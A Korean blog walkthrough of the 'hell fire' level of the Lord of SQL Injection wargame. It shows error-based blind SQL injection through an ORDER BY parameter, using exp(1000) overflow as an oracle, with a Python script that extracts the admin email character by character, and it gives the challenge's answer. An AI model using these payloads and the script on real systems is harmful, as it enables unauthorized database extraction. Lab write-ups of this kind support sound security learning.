Wargame/Lord of SQL Injection

<Lord of SQL Injection> hell fire

지우친구 웅이 2021. 11. 25. 13:19

hell fire

전달받은 order에서 prob, _, ., proc, union을 필터링한다.

올바른 email을 찾으면 문제를 해결할 수 있다.

 

select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}

위 소스 코드에서 3개의 열(id, email, score)를 가지는 것을 알 수 있다.

order를 3개의 열 중 하나인 id순으로 정렬하기 위해 ?order=id를 입력하면

소스 코드에 나와있는 대로 id가 "admin"이면 email은 "**************"로 출력하고,

id가 "rubiya"인 경우 email은 "rubiya805@gmail.cm"인 것을 확인할 수 있다.

 

올바른 email을 찾기 위해 email의 길이를 먼저 찾아야 한다.

우선, 참과 거짓이 어떻게 출력되는지 확인하기 위해

?order=1 and id='rubiya' and if(substr(email,1,1)='r', exp(1000), 1)을 입력하면

exp(1000)에 의해 테이블의 데이터들이 출력되지 않는다.

 

거짓으로 ?order=1 and id='rubiya' and if(substr(email,1,1)='a', exp(1000), 1)을 입력하면

테이블의 데이터가 출력된다.

 

위 PHP 소스 코드에 오류에 대한 처리가 없기 때문에 Error Based SQL Injection을 수행할 수 있다.

exp(1000)은 e^1000으로, overflow를 발생시킨다.

 

이를 이용하여 email의 길이를 확인할 수 있다.

?order=1 and id='admin' and if(length(email)=28,exp(1000),1)을 입력하면

오류가 발생해 테이블의 데이터가 출력되지 않았다.

즉, email의 길이가 28인 것을 확인할 수 있다.

 

이제 email의 한 글자씩 찾으면 된다.

ascii나 substr을 필터링하지 않기 때문에

?order=1 and id='admin' and if(ascii(substr(email,1,1))=97, exp(1000), 1)를 입력하면

'admin'의 email의 첫 글자가 'a'로 시작한다는 것을 알 수 있다.

 

이 문제에서 참은 테이블의 데이터를 출력하지않고, 거짓은 테이블의 데이터를 출력한다.

따라서, 'rubiya'라는 문자열을 이용해 참과 거짓을 구분할 수 있다.

 

파이썬 코드를 이용해 나머지 email 글자도 찾아보면

import requests

baseurl = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookies = {"PHPSESSID" : "PHPSESSID 값"}
want_str = "rubiya"
email = ""

for i in range(1, 29):
    for j in range(33, 127):
        url = baseurl + "?order=1 and id='admin' and if(ascii(substr(email,{},1))={},exp(1000),1)".format(i,j)
        res = requests.get(url=url, cookies=cookies)
        print(url)

        if want_str not in res.text:
            email += chr(j)
            print("email : ", email)
            break

print("email : ", email)

이제 ?email=admin_secure_email@emai1.com을 입력하면

문제를 해결할 수 있다.